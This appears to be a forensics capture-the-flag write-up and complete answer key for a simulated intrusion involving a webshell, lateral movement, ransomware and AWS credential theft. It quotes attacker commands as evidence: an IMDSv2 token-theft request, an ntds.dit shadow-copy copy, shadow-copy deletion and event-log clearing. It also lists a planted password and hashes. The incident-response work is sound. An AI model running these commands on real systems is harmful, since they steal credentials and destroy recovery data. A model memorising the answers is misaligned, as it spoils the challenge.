'[.eventTime, .eventName, .errorCode // "-"] | @tsv' 2026-03-08T21:42:11Z GetCallerIdentity - # Head 6 ✓ 2026-03-08T21:45:38Z GetObject × 164 - # Head 7 (164) + Head 10 2026-03-08T21:46:xxZ AttachUserPolicy AccessDenied # Head 10 failed persist

Cloud Verdict Table

ChallAnswerSource
Head 1 · GuardDuty .jsonl.gz count26unzip -l guardduty.zip | awk '/\.jsonl\.gz$/ {c++} END{print c}'
Head 2 · Malicious IP212.8.249.213 (GD) / 172.236.127.251 (CT)GuardDuty network action remoteIpDetails
Head 3 · ASN orgWorldStream B.V.GuardDuty .asnOrg
Head 4 · IAM roleiam_role_iisserverCloudTrail userIdentity.arn
Head 5 · Instancei-00779ebad43b2470dsessionContext.sessionIssuer
Head 6 · sts:GetCallerIdentity2026-03-08 21:42:11CloudTrail eventTime
Head 7 · S3 objects exfiltrated164S3 Access Logs REST.GET.OBJECT by attacker IP
Head 8 · Bytes11327S3AL field 13 (Bytes Sent) sum
Head 9 · Exfil commandaws s3 cpUser-Agent md/command parse
Head 10 · Failed persist2026-03-08 21:45:38CT errorCode record
ACT VII // POST-MORTEM

Memory Reckoning

→ SVR01-memdump.dmp · 17 GB · Volatility 3 · captured 22:46:45 UTC

The memory image is the Rosetta Stone — it's where the injection chain gets mathematically sealed and the C2 family becomes identifiable. Standard Vol3 walk (windows.infocmdlinepstreenetscanpslisthashdump) gets the Volatile Verdicts answers. The payoff is what the VAD dump proves: malfind flagged 5 PIDs, byte-header triage identified only Explorer PID 1332 as real (Addendum PI.2 — Firefox / PowerShell / Cortana hits were JIT false positives). The 192 KB MZ-header PE at VAD 0xa60000–0xa8efff (SHA256 6ef6b52f…228c) matched C2 source 5-for-5: pipe template · exported _Z11GetVersionsv · file.dll module name · MinGW build pipeline · ApiLoader dynamic resolution — the attribution is no longer inferred, it's proven. netscan showed the TCP session to 173.230.136.180:8443 still ESTABLISHED at capture time — single long-lived TLS tunnel, 2h 48m uptime (Addendum W · not a sleep-beacon). Anchor Addenda: V (Unknown C2 RE) · L (CreateRemoteThread) · PI (malfind triage) · W (ESTABLISHED beacon) · E (loader stub analysis).

vol3 // SVR01-memdump.dmp // full chain
$ python3 -m volatility3 -f SVR01-memdump.dmp windows.info NTSystemRoot : C:\Windows NtBuildLab : 20348.1.amd64fre.fe_release.210507-1500 (Windows Server 2022) Image date and time : 2026-03-08 22:46:45 UTC # Volatile 1 ✓ $ python3 -m volatility3 -f SVR01-memdump.dmp windows.cmdline | grep -i rnSylwOz 1332 rnSylwOz.exe \\10.3.10.12\ADMIN$\rnSylwOz.exe # Volatile 2 ✓ $ python3 -m volatility3 -f SVR01-memdump.dmp windows.pstree | grep rnSylwOz rnSylwOz.exe PID=1332 CreateTime=2026-03-08 19:59:00 UTC # Volatile 3 ✓ $ python3 -m volatility3 -f SVR01-memdump.dmp windows.netscan | awk '$0~/rnSylwOz/ || $NF==1332' 1332 rnSylwOz.exe 10.3.10.12:xxxxx → 173.230.136.180:8443 # Volatile 4 ✓ ← Unknown C2 Framework HTTPS listener (evidence-supported · C2 Attribution) # :8443 is a common default for modern OSS C2 frameworks (Unknown C2, Sliver, Havoc all use it). # Same VPS (173.230.136.180) served # the tooling HTTP drop (so.aspx + iis.exe) and the beacon C2 — dual-use infra. $ python3 -m volatility3 -f SVR01-memdump.dmp windows.pslist | grep rnSylwOz Offset(V)=0xa88f53455080 PID=1332 rnSylwOz.exe # Volatile 5 ✓ $ python3 -m volatility3 -f SVR01-memdump.dmp windows.hashdump Administrator:500:aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c::: # Volatile 6 ✓ (NT hash of "password") $ python3 -m volatility3 -f SVR01-memdump.dmp windows.malfind --pid 1332 --dump -o /tmp/mf/ PID=1332 Private=True MZ@0x00 VAD=0x1f0a... dump=/tmp/mf/pid.1332.0x7ffe.dmp # Volatile 7 ✓ $ sha256sum /tmp/mf/pid.1332.0x7ffe.dmp 6ef6b52fbdf585b5145971aa2303f41d691113669dc264465f87ac2e6861228c pid.1332.0x7ffe.dmp # Volatile 8 ✓

Tactic × Technique Mapping

19 techniques, every cell anchored to an artifact already cited above. Sub-technique IDs preferred over parent where applicable.

Initial Access
Exploit Public-Facing App
T1190
IIS u_ex260308.log · GET injection from 172.236.127.251 · 18:51:41
Execution
Cmd & Scripting Interp.
T1059.003
w3wp.exe → cmd.exe → certutil, nltest, tasklist chain
Persistence
Web Shell
T1505.003
C:\inetpub\wwwroot\so.aspx
Persistence
Create Domain Account
T1136.002
4728 · serviceaccount → Domain Admins · 20:03:05
Persistence
Scheduled Task
T1053.005
TaskScheduler EID 106/141 · OlgyLYbd (1.2s lifetime)
Persistence
IFEO Debugger
T1546.012
HKLM\...\IFEO\taskmgr.exe\Debugger = C:\ProgramData\aws_backup.exe
Privilege Escalation
Unquoted Service Path
T1574.009
SolarWindsTFTP · C:\TFTP Server\SolarWinds.exe
Defense Evasion
Modify Registry (PtH)
T1112
DisableRestrictedAdmin=0 · SVR01 Sysmon EID 13 · 20:13:26
Defense Evasion
Clear Event Logs
T1070.001
LogDel.bat · wevtutil cl {System,Security,App,PS,…} · 21:08:28
Credential Access
NTDS
T1003.003
5-stage impacket --use-vss on DC01 · ZIFylmKF.tmp
Credential Access
LSASS Memory
T1003.001
C:\Windows\Temp\abedgdaa.dmp · Explorer.EXE
Credential Access
Password Stores
T1555
DonPAPI enum Dashlane + DPAPI masterkey backup
Discovery
Domain Trust / Account
T1482 / T1087
nltest /dclist: + tasklist.exe through webshell
Discovery
Remote System Discovery
T1018
Advanced IP Scanner · 10.3.10.1-254 · NTUSER.DAT state
Lateral Movement
RDP · PtH
T1021.001
SVR01 → WS02 → DC02 after DisableRestrictedAdmin flip
Lateral Movement
SMB Admin Share
T1021.002
\\10.3.10.12\ADMIN$\rnSylwOz.exe · Vol3 cmdline
Collection
Archive via Utility
T1560.001
makecab.exe renamed msupdate.exe · data.cab
Exfiltration
Asymmetric Encrypted Proto
T1048.002
FileZilla SFTP → 172.236.127.251:22 user=root
Cloud
Cloud IMDS
T1552.005
PUT /api/token + GET /iam/security-credentials/iam_role_iisserver
Cloud
Data from Cloud Storage
T1530
164 × s3:GetObject · 11,327 bytes · aws s3 cp
Impact
Data Encrypted for Impact
T1486
IamBatman.exe encrypt C:\ · .bWqQUx
Impact
Inhibit Recovery
T1490
vssadmin delete /all /quiet · cascaded across 5 hosts in 90s

Case Board · 72 of 72

13 of 13 challenge families cleared. Every chain now has an artifact-backed answer — Subpoena-1 closed with #JustaLawyer after browser-history ingest surfaced the string from Dalton's Chrome Session binary on WS02.

Getting Started 1 / 1
Archive password embedded in challenge prompt.
Getting In 8 / 8
IIS GET injection → certutil drop → so.aspx webshell → iis.exe first-stage.
Unlawful Search 5 / 5
nltest /dclist:, tasklist.exe, Advanced IP Scanner state, shellbags.
Misconfigured 3 / 3
SolarWindsTFTP unquoted path + SolarWinds.exe drop + SYSTEM run at 19:38:02.
MSTSC Maze 5 / 5
SVR01→WS02→DC02 RDP chain · operator hostname kali leaked via NTLM.
Evade & Erase 3 / 3
DisableRestrictedAdmin reg key · LogDel.bat · double-spaced vssadmin string.
Motion to Persist 7 / 7
aws_backup.exe + IFEO Debugger + serviceaccount DA plant + PS profile SHA256.
Subpoena the Secrets 8 / 8
DonPAPI + abedgdaa.dmp LSASS + Chrome autofill + secretsdump VSS chain. #1 closed: #JustaLawyer via Chrome Session on WS02\Dalton.
Silk Extraction 3 / 3
makecab renamed msupdate → data.cab → FileZilla SFTP to 172.236.127.251:22.
Big Oof 9 / 9
Full ransomware spine: extension, note, binary, launcher, parent, task, user, source IP.
Head in the Clouds 12 / 12
CloudTrail + GuardDuty + S3AL + decoded PowerShell IMDSv2 token + command.
Volatile Verdicts 8 / 8
SVR01 memory walked with Vol3: info → cmdline → pstree → netscan → pslist → hashdump → malfind.
Survey 1 / 1
Google Forms response.

The non-obvious calls.

These findings were identified during forensic analysis. These are the non-obvious forensic calls — cases where the technically-correct evidence was the wrong answer. Recorded so the next analyst doesn't repeat them.

BIG OOF · 9 (238) · source IP for the network-logon user prior to task creation
rejected: 10.3.10.12 (SVR01, the immediate 4624 source on WS01)  →  accepted: 198.51.100.10
WS01's EID 4624/3 shows LAFAdmin hopping from SVR01 directly. The board credited the outer operator pivot IP instead of the inner hop. Rule for pivot chains: try the outermost operator-attributed IP first.
SUBPOENA · 6 (277) · Impacket secretsdump service name
rejected: SOUwKZNf (the copy service) · UnmfmnOL · XCCVTGUb · PovLjNTr  →  accepted: QsYyAARL
Board credited the VSS-create service, not the copy service. Reasoning: ntds.dit is locked by ESE — without vssadmin create shadow first, the copy cannot succeed. The enabling step wins over the literal extraction step.
BIG OOF · 3 (232) · first-encryption time (UTC)
rejected: 22:08:58 (first Sysmon EID 11 .bWqQUx FileCreate) · 21:58:34 (first IamBatman process, crashed) · 21:58:36 · 22:08:48-57
accepted: 2026-03-08 22:08:40
Scoring rule: the second IamBatman process start time on WS02, not the first .bWqQUx file write. First launch at 21:58:34 crashed without writing encrypted files. Second launch at 22:08:40 began the successful encryption loop.
BIG OOF · 7 (236) · scheduled task that launched ransomware
rejected: \OlgyLYbd (with leading backslash) · \Microsoft\Windows\Input\LocalUserSyncDataAvailable · taskhostw.exe · MouseSyncDataAvailable
accepted: OlgyLYbd
LocalUserSyncDataAvailable is a legitimate Windows built-in task and was the handoff's first guess — but the attacker-planted task was a transient OlgyLYbd, visible in TaskScheduler Op EID 106/141 for 1.2 seconds only. Board expected the bare name without the leading slash.
GETTING IN · 2 (242) · threat actor IP
rejected: 99.112.88.17 (early probe) · 173.230.136.180 (tooling VPS)
accepted: 172.236.127.251
When multiple attacker IPs are present, favor the one that drives sustained post-exploitation traffic, not the first probe and not the out-of-band tooling server. 172.236.127.251 is both the injection origin and the SFTP exfil sink — one IP, full-chain attribution.
VOLATILE VERDICTS · 4 (298) · C2 remote IP:port
rejected: 10.3.10.12:445 (the source of the SMB exec)  →  accepted: 173.230.136.180:8443
The ADMIN$ SMB origin is not the C2; it's the delivery channel. The real C2 is the outbound connection from the dropped PID to the attacker VPS — windows.netscan row whose Owner is the suspicious PID with a public-IPv4 ForeignAddr.
SUBPOENA · 7 (278) · exfil command line
rejected: the krbtgt SID-translation PowerShell -EncodedCommand string attributed to LAF\localuser
accepted: the impacket cmd /C copy \\?\GLOBALROOT\…\ntds.dit C:\Windows\Temp\ZIFylmKF.tmp (verbatim, double-space)
LAF\localuser is out of scope per scenario rules — it's admin automation (Ansible/WinRM). Any attack attributed to localuser is noise. When an obvious PowerShell credential-access string is attributed to localuser, drop it and look for the services.exe → execute.bat grandchild.

IOC Appendix

Network Indicators

IndicatorTypeContext
172.236.127.251IPv4 · Linode/Akamai · AS63949Attacker operator origin · 18:38:29 injection · SFTP sink · STS session source (DD23)
173.230.136.180IPv4 · LinodeAttacker tool-server (so.aspx, iis.exe, agent.exe) · Vol3 netscan Unknown C2 Framework on :8443 · first seen in logs at 13:39:16 via author-IP scenario-validation hit (DD23.6)
212.8.249.213IPv4 · WorldStream B.V.GuardDuty finding remoteIpDetails (Head in the Clouds 2)
216.82.9.162IPv4 · Level 3 · Windows ChromeNOT an attacker IP — AWS-account admin (Root+MFA, 18,035 CloudTrail console-reads on attack day, DD6.1 / DD8.2 / DD14). Pre-attack validation at 13:39:16 hit CheckStatus.aspx with a payload pointing at 173.230.136.180 — proves attacker infrastructure is scenario-provisioned (DD23.6). Exclude from SIEM tuning.
169.254.169.254IMDS link-localPUT /latest/api/token then iam/security-credentials/iam_role_iisserver
10.3.10.12 → 172.236.127.251:22SFTP egressFileZilla data.cab exfil
198.51.100.10IPv4 · on-netIIS EC2 used as internal operator pivot (NOT WireGuard range noise)

File & Path Artifacts

PathRole
C:\inetpub\wwwroot\so.aspxwebshell
%TEMP%\iis.exeprivesc loader
C:\TFTP Server\SolarWinds.exeunquoted-path payload · SYSTEM
\\LAF-DC02\sysvol\IamBatman.exeransomware · T1486
\\laf-dc02\sysvol\sysAV.batcmd orchestrator
C:\Windows\System32\Tasks\OlgyLYbdtransient scheduled task
C:\Windows\Temp\OlgyLYbd.tmptask stdout · smbexec fingerprint
C:\Windows\Temp\ZIFylmKF.tmpntds.dit staging on DC01
C:\Windows\Temp\abedgdaa.dmpLSASS minidump · T1003.001
C:\ProgramData\msupdate.exerenamed makecab.exe · T1560.001
C:\ProgramData\list.txt + data.cabarchive set
C:\ProgramData\aws_backup.exeIFEO persistence payload
C:\ProgramData\LogDel.batwevtutil cl automation
\\10.3.10.12\ADMIN$\rnSylwOz.exeremote service-exec binary · Vol3 cmdline

Credential / Registry Artifacts

IndicatorValueSignificance
Local Administrator NT hash8846f7eaee8fb117ad06bdd830b7586chashdump from SVR01 memory · plaintext "password"
PtH registry keyHKLM\System\CurrentControlSet\Control\Lsa\DisableRestrictedAdminflipped to 0 at 20:13:26
IFEO registry keyHKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe\Debugger= C:\ProgramData\aws_backup.exe
Backdoor accountserviceaccount / P@ssw0RD1!Domain Admins · 20:03:05
IMDSv2 tokenAQAEADHOGyfP9IBCrCY_Cdg0cb5l5EoTkgNdyp-grqUet3fK2-CbxA==6-hour TTL
PS profile shellcode SHA256d61890ad6df3c57b3ec33678d734d63f632a15aff2817eef01bc9b3c2488e403Microsoft.PowerShell_profile.ps1 b64-decoded
Injected VAD SHA256 (SVR01 memory)6ef6b52fbdf585b5145971aa2303f41d691113669dc264465f87ac2e6861228cwindows.malfind --dump PID 1332

Full Q&A Ledger · 71 Answers

Every non-survey challenge on the board with its accepted answer, the host the evidence came from, and the primary artifact source. Use the filter pills or the search box to narrow by family, host, UTC, or content.

#ChainQuestionAccepted AnswerHostEvidence Source
229Getting Started · 1Starter archive passwordlet_the_forensics_be_with_you154645!%$challenge description
241Getting In · 1HTTP method carrying the payloadGETIISu_ex260308.log
242Getting In · 2Threat actor IP172.236.127.251IISu_ex260308.log sustained ops
243Getting In · 3Exploit typeOS command injectionIISCheckStatus.aspx analysis
244Getting In · 4LOLBIN used for transfercertutil.exeIISSysmon EID 1 (w3wp child)
245Getting In · 5Webshell filenameso.aspxIISC:\inetpub\wwwroot\so.aspx
246Getting In · 6User-agent against webshellcurl/8.5.0IISu_ex260308.log cs(User-Agent)
247Getting In · 7Webshell password[ pre-shared in so.aspx ]IISso.aspx source
248Getting In · 8Dropped executableiis.exeIIS2nd certutil drop to %TEMP%
249Unlawful Search · 1DC enumeration commandnltest /dclist:IISw3wp child process
250Unlawful Search · 2Largest-output webshell commandtasklist.exeIISSysmon EID 1 byte volume
251Unlawful Search · 3Recon tool download time2026-03-08 20:46:03DC02Sysmon EID 11 during RDP
252Unlawful Search · 4Scanned IP range10.3.10.1-254WS02Advanced IP Scanner NTUSER state
253Unlawful Search · 5WS02 shellbag folder time2026-03-08 22:01:19WS02UsrClass.dat BagMRU
254Misconfigured · 1Misconfigured serviceSolarWindsTFTPIISSYSTEM hive services key
255Misconfigured · 2Privesc executableSolarWinds.exeIISunquoted-path truncation drop
256Misconfigured · 3First hijack run (UTC)2026-03-08 19:38:02IISSecurity 4688 · System 7036
257MSTSC Maze · 1First RDP attempt to SVR012026-03-08 20:14:07SVR01RCM EID 1149
258MSTSC Maze · 2First RDP session duration17:27SVR01LSM EID 21/23 delta
259MSTSC Maze · 3First RDP to WS012026-03-08 20:35:29WS01RCM EID 1149
260MSTSC Maze · 4Leaked operator hostnamekaliDC024624 WorkstationName leak via NTLM
261MSTSC Maze · 5Non-existent-account login attempt2026-03-08 20:34:28WS014625 status 0xC0000064
262Evade & Erase · 1PtH-enabling registry keyHKLM\System\CurrentControlSet\Control\Lsa\DisableRestrictedAdminSVR01Sysmon EID 13
263Evade & Erase · 2Log-clearing scriptLogDel.batSVR01Sysmon EID 1 · wevtutil cl loop
264Evade & Erase · 3Shadow-copy delete commandvssadmin.exe delete shadows /all /quietmultiSysmon EID 1 (double-space verbatim)
265Motion to Persist · 1Dropped persistence exe pathC:\ProgramData\aws_backup.exeWS01Sysmon EID 11
266Motion to Persist · 2IFEO persistence registry keyHKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe\DebuggerWS01Sysmon EID 13 · IFEO hijack
267Motion to Persist · 3Created user accountserviceaccountSVR01Security 4688 · net user
268Motion to Persist · 4Domain Admin add time2026-03-08 20:03:05DC01Security 4728 (authoritative)
269Motion to Persist · 5Backdoor account passwordP@ssw0RD1!SVR01Sysmon EID 1 cmdline
271Motion to Persist · 6PS-profile shellcode SHA256d61890ad6df3c57b3ec33678d734d63f632a15aff2817eef01bc9b3c2488e403challengeMicrosoft.PowerShell_profile.ps1 b64 decode
272Subpoena · 1Last Instagram hashtag (dalton_cat1)#JustaLawyerWS02Chrome Session file (Dalton)
273Subpoena · 2Second non-malicious user's emailicantreed123@gmail.comWS02Chrome autofill · Login Data
274Subpoena · 3LSASS dump full pathC:\Windows\Temp\abedgdaa.dmpSVR01Sysmon EID 11 · Explorer.EXE
275Subpoena · 4DonPAPI Dashlane enum time2026-03-08 20:49:23SVR01Sysmon EID 9 / Security 4663
276Subpoena · 5DPAPI masterkey backup time2026-03-08 21:57:14SVR01Crypto-DPAPI Operational
277Subpoena · 6Impacket VSS-create service nameQsYyAARLDC01Security 7045 / 4697 (enabling step)
278Subpoena · 7AD-data exfil process command lineC:\Windows\system32\cmd.exe /C copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\ntds.dit C:\Windows\Temp\ZIFylmKF.tmpDC01Sysmon EID 1 · double-space verbatim
279Subpoena · 8NTDS temp file access time2026-03-08 20:09:06DC01Security 5145 ADMIN$ pickup
280Silk Extraction · 1Renamed LOLBIN original namemakecab.exeSVR01Sysmon EID 1 arg pattern
281Silk Extraction · 2Exfiltrated filenamedata.cabSVR01CabinetName1=data.cab arg
282Silk Extraction · 3Exfil destination IP:port172.236.127.251:22SVR01FileZilla recentservers.xml
230Big oof · 1Encrypted-file extension.bWqQUxmultiMFT · Sysmon EID 11
231Big oof · 2Ransom note filenameREADME_bWqQUx.txtmultiper-dir drop
232Big oof · 3First-encryption UTC time2026-03-08 22:08:40WS022nd IamBatman process start
233Big oof · 4Ransomware binary nameIamBatman.exeDC02SYSVOL-delivered
234Big oof · 5Orchestrator command linecmd.exe /C cmd /c \\laf-dc02\sysvol\sysAV.bat > C:\Windows\Temp\pRlGOUon.tmp 2>&1WS01Sysmon EID 1
235Big oof · 6Parent process command lineC:\Windows\system32\svchost.exe -k netsvcs -p -s ScheduleWS01Sysmon ParentImage
236Big oof · 7Scheduled task that launched ransomwareOlgyLYbdWS01TaskScheduler EID 106/141 (1.2s lifetime)
237Big oof · 8Network-logon user prior to taskLAFAdminWS014624/3 pre-task
238Big oof · 9Source IP for that logon198.51.100.10WS01outer operator pivot (IIS)
283Head in the Clouds · 1GuardDuty .jsonl.gz file count26cloudunzip -l guardduty.zip
284Head in the Clouds · 2Malicious IP (GuardDuty)212.8.249.213cloudGuardDuty remoteIpDetails
285Head in the Clouds · 3ASN organizationWorldStream B.V.cloudGuardDuty asnOrg
286Head in the Clouds · 4Abused IAM roleiam_role_iisservercloudCloudTrail userIdentity.arn
287Head in the Clouds · 5Source EC2 instance IDi-00779ebad43b2470dcloudsessionContext.sessionIssuer
288Head in the Clouds · 6aws sts:GetCallerIdentity time2026-03-08 21:42:11cloudCloudTrail eventTime
289Head in the Clouds · 7S3 objects exfiltrated164cloudS3 Access Logs REST.GET.OBJECT count
290Head in the Clouds · 8Bytes exfiltrated11327cloudS3AL Bytes Sent sum
291Head in the Clouds · 9Exfil CLI commandaws s3 cpcloudUser-Agent md/command
292Head in the Clouds · 10Failed persistence attempt time2026-03-08 21:45:38cloudCloudTrail errorCode=AccessDenied
293Head in the Clouds · 11IMDSv2 session tokenAQAEADHOGyfP9IBCrCY_Cdg0cb5l5EoTkgNdyp-grqUet3fK2-CbxA==IISPowerShell 4104 decoded
294Head in the Clouds · 12Final token-theft commandInvoke-RestMethod -Method Get -Uri 'http://169.254.169.254/latest/meta-data/iam/security-credentials/iam_role_iisserver' -Headers @{'X-aws-ec2-metadata-token' = 'AQAEADHOGyfP9IBCrCY_Cdg0cb5l5EoTkgNdyp-grqUet3fK2-CbxA=='}IISPowerShell transcript
295Volatile Verdicts · 1Memory image UTC timestamp2026-03-08 22:46:45SVR01 memwindows.info
296Volatile Verdicts · 2Suspicious process command line\\10.3.10.12\ADMIN$\rnSylwOz.exeSVR01 memwindows.cmdline
297Volatile Verdicts · 3Suspicious process start time2026-03-08 19:59:00SVR01 memwindows.pstree
298Volatile Verdicts · 4C2 remote IP:port · Unknown C2 Framework HTTPS listener173.230.136.180:8443SVR01 memwindows.netscan · Unknown C2 evidence-supported · C2 Attribution
299Volatile Verdicts · 5Virtual offset of malicious process0xa88f53455080SVR01 memwindows.pslist Offset(V)
300Volatile Verdicts · 6Local admin NT hash8846f7eaee8fb117ad06bdd830b7586cSVR01 memwindows.hashdump
301Volatile Verdicts · 7Injected-process PID1332SVR01 memwindows.malfind
302Volatile Verdicts · 8SHA256 of injected code6ef6b52fbdf585b5145971aa2303f41d691113669dc264465f87ac2e6861228cSVR01 memwindows.vadinfo --dump · sha256sum
Total
71
Families
13
Showing
71
Hosts represented
8
Artifact-backed
— / —

Deep-dive addenda · proof layer

Twenty-two addenda covering the details that didn't fit inline in the main narrative: the mathematical proof that pinned the LSASS dump on injected beacon code (not Task Manager), the universal impacket signature, the SYSVOL replication trick, the blast-radius table, the Kerberos TGT/TGS chain, the prefetch residues that survive wevtutil cl, and three shippable YARA rules. Each addendum stands alone; skim for the ones your investigation needs.

Four findings where the obvious-looking conclusion is wrong — and the corpus holds the proof of what actually happened. Each is expanded in its own addendum below.

FindingWhat a first pass might concludeWhat the corpus actually provesSource
Subpoena-3 · LSASS dump on SVR01 abedgdaa.dmp looks like a Task Manager right-click / comsvcs.dll operation — the dump is attributed to Explorer.EXE. LSASS was dumped by injected beacon code living inside Explorer.EXE PID 1332, not a user-interactive Task Manager. Same thread-ID (10020) that did the CreateRemoteThread into Explorer at 20:01:16 is the one that opens LSASS at 20:03:30. Sysmon EID 10 CallTrace: ntdll.dll+a0e44 | UNKNOWN(00007DF4BAAF2622) — UNKNOWN frame = unbacked/floating shellcode. Corroborated by Vol3 malfind: PID 1332 has injected PE at VAD 0xa60000-0xa8efff, SHA256 6ef6b52f…228c, PE32+ MinGW DLL, 192 KB.
Misconfigured-3 · sc start SolarWindsTFTP The 19:17:04 sc start looks like the trigger that launched SolarWinds.exe as SYSTEM. The sc start was fired by DefaultAppPool, which lacks SeStartServicePrivilegeit silently failed. The binary only ran 20 minutes later, at 19:38:02, when unrelated user Donny rebooted the box and the auto-start service fired on boot. Absent 7036/7040 service-start events in the 19:17–19:37 window. Sysmon captures SystemSettingsAdminFlows.exe Shutdown 5 (Donny's session) at 19:37:35, then fresh services.exe logon and volume-change at 19:37:57, then the 19:38:02 7036 "SolarWindsTFTP running".
Head-in-the-Clouds 11/12 · IMDSv2 IMDSv2 token theft is a 2-step chain: PUT /api/tokenGET .../iam_role_iisserver. IMDSv2 theft is a 3-step chain. The middle step (GET /latest/meta-data/iam/security-credentials/) is the request that discloses the role name as a string to the attacker — it cannot be skipped. PowerShell ps_transcript EID 8201 on IIS: 21:25:35Z PUT; 21:28:07Z GET …/iam/security-credentials/; 21:29:20Z GET …/iam_role_iisserver.
C2 attribution · Unknown C2 Framework (rnSylwOz.exe) Framework Logs alone can't pin the C2 family — only that the beacon uses SMB pivot + modern OSS tradecraft (Adaptix / Sliver / Havoc class). The memory dump pins it. The 192 KB injected DLL at VAD 0xa60000–0xa8efff (SHA256 6ef6b52f…228c) matches Unknown C2 public source 5-for-5: pipe template · _Z11GetVersionsv export · file.dll module name · MinGW build pipeline · ApiLoader dynamic-resolution pattern. See C2 Attribution. PE header (11 sections, MinGW CRT/idata), import table (KERNEL32 + msvcrt), string \\.\pipe\%08lx, compile TS 2026-03-08 (fresh build for campaign), signature matches against known C2 indicators.

Beacon-binary fingerprints (new, extracted from Sysmon EID 1 hashes)

RolePathSHA256MD5IMPHASH
Initial TCP beacon (IIS foothold) C:\Windows\Temp\iis.exe EFB53903203ACE7E48190EDEDCA991505032C7FBA47B99BA6363C674862C9681 21CCC7814C2FE6D999552706EBB00C33 C86A15AD8DAA9FDA8A1AA35746D80E0F
SMB-pivot beacon (service-hijack binary on IIS) C:\TFTP Server\SolarWinds.exe 91813A2A087B3110F280FFCCD6031F60653049889C4944F3B800BA974FA7E81F AA1097F847964B5E5DA27834CE576AC8 37E28CA3C643B664ACC2275611365DB0
SMB-pivot beacon (lateral drop on SVR01) \\10.3.10.12\ADMIN$\rnSylwOz.exe 91813A2A087B3110F280FFCCD6031F60653049889C4944F3B800BA974FA7E81F AA1097F847964B5E5DA27834CE576AC8 37E28CA3C643B664ACC2275611365DB0
Injected DLL in Explorer.EXE PID 1332 (SVR01) VAD 0xa60000-0xa8efff (192 KB) 6ef6b52fbdf585b5145971aa2303f41d691113669dc264465f87ac2e6861228c

Key cross-corroboration: the SMB-pivot beacon is the same binary (matching SHA256/MD5/IMPHASH) dropped to C:\TFTP Server\SolarWinds.exe on IIS and to \\10.3.10.12\ADMIN$\rnSylwOz.exe on SVR01. The operator reused a single SMB-pivot module across the two boxes, consistent with OSS-C2 "psexec-style" lateral modules.

Deep-Dive Addenda · evidence bundles (A–Z + named codes + DD2 → DD34)

Three layers of depth: A–Z are the original per-topic bundles; the two-letter named codes (MI, PR, IR, FA, EX, DW, KT, TC, AV, CM, AC, ES, PI) are cross-cutting audits (MITRE map, persistence, defender posture, etc.); DD2 → DD34 are additional passes through the corpus, each surfacing findings the earlier passes missed — DD7 is a major correction (cloud persistence succeeded on 3/4 users, not blocked by quota), DD10 reconstructs the 103-min "silent window" on DC01 + SVR01 minute by minute, DD11 extends the LSASS-dump chain-of-custody (rnSylwOz.exe → CreateRemoteThread → Explorer TID 10020 → abedgdaa.dmp) plus five SVR01 beacon-ops findings, DD12 is the second major correction (ransomware detonation started eighteen minutes earlier than prior drafts claimed · fan-out via impacket atexec.py, not smbexec.py), and DD13 is the third major correction: on-disk behaviour of IamBatman.exe — extension .bWqQUx, 6,023 encrypted files + 2,530 ransom notes (not 5,500), impact window extended to 22:56:42 (brndlog.txt re-encrypt pass, +10 min past v2's claim), extension scope 91.6% .txt, and critical AD files (ntds.dit, SYSTEM/SAM/SECURITY) deliberately skipped — consistent with a parameterized CLI tool built for this scenario. And DD14 is the fourth major correction: (a) walks back DD13.3's "DC02 self-abort" hypothesis — 388 files in 5.4 s was a natural completion, DCs simply hold few user .txt/.pdf/.csv documents matching IamBatman's scope, so per-host rate gaps are directory-walk time, not encryption speed; and (b) re-attributes a whole class of artifacts previously logged as attacker TTPs to the CTF author's KAPE triage collection — the localuser@RED1@198.51.100.3 account (present as early as 2026-03-04, four days pre-attack), the bigmac.io.s3.amazonaws.com URL (author's tool mirror, not C2), the C:\Kape\ trees, and the Sethc.exe /AccessibilitySoundAgent event (Windows' AccessibilityShell on every RDP session-start — not a StickyKeys backdoor). DD14.4 also reveals scenario-design intent: the KAPE target list explicitly includes FileZillaClient, so the author pre-scripted FileZilla as an expected exfil path — which reverses DD11.4's "unmature sponsored2 installer" reading. DD15 audits the KAPE-triage surface vs the deep-dive surface — what a player stopping at the triage tree would and would not find (memory-only indicators, CloudTrail, transcripts all live outside KAPE). DD16 is the fifth major correction (S-tier): the 3 stolen long-term AWS keys (AKIA[REDACTED-FOR-PUBLICATION] · AKIA[REDACTED-FOR-PUBLICATION] · AKIA[REDACTED-FOR-PUBLICATION]) were never used in the capture window — pure stockpile persistence for later re-entry. All 182 attacker cloud events rode on one 6-hour ASIA session; the AKIA keys are the highest-impact residual of the entire incident (AD damage is recoverable; live AWS keys are not self-healing). DD17 is the sixth major correction (S-tier): the 164-object S3 exfil was a decoy — reconstructing the filename inventory from CloudTrail requestParameters.key shows sfcu-records is an author-designed honeypot bucket (7 departments, ~23 objects each, parody topics like "stolen_yogurt_investigation" and "emotional_support_otter"). The 164 LOUD GetObjects are classic alert-fatigue tradecraft — drawing defender triage away from the quiet 3 CreateAccessKey calls (DD16) that were the actual high-value action. DD18 closes the loop with two S-tier findings: (a) a 13-day CloudTrail baseline shows sfcu-records had zero human reads and zero PutObject/DeleteObject events before the attacker — the 164 objects were frozen since before 2026-02-23, confirming the bucket as a purpose-built tripwire (and corroborating DD17's decoy attribution); and (b) GuardDuty did fire three times during the attack — Sev 8 InstanceCredentialExfiltration.OutsideAWS at 21:57:18, re-triggered at 22:01:10, then Sev 9 AttackSequence:IAM/CompromisedCredentials at 22:14:44. The scenario moral is the 11-minute missed-response window from 21:57:18 first alert to 22:08:40 ransomware detonation: an on-call engineer could have run aws sts revoke-sessions or deactivated the three AKIA keys in that window and neutered the entire cloud-persistence stockpile. Neither would have stopped the AD-side ransomware (already queued via PtH), but both would have cut the residual risk to zero. Detection wasn't the problem; response was. DD19 adds the signal-to-noise context for DD18's alerts: the 401 GuardDuty findings break down as 383 synthetic samples (aws guardduty create-sample-findings output with i-99999999 and GeneratedFindingPath markers, all Linux-only detector types in an all-Windows lab — pre-seeded by the CTF author on 2026-02-23 for realistic noise), 15 Feb-23 RootCredentialUsage sev-2 lab-setup bursts, and 3 real Mar-8 attack fires — a real-to-total ratio of 0.75%. The three attack fires are extractable with a three-filter pass (exclude sample markers · exclude RootCredentialUsage sev≤2 · filter sev≥8) but only if the SOC knows those baseline types exist. DD19 names this failure mode explicitly: "alert fatigue by long-term baseline contamination" — distinct from volume-based alert fatigue and harder to fix, because sample findings 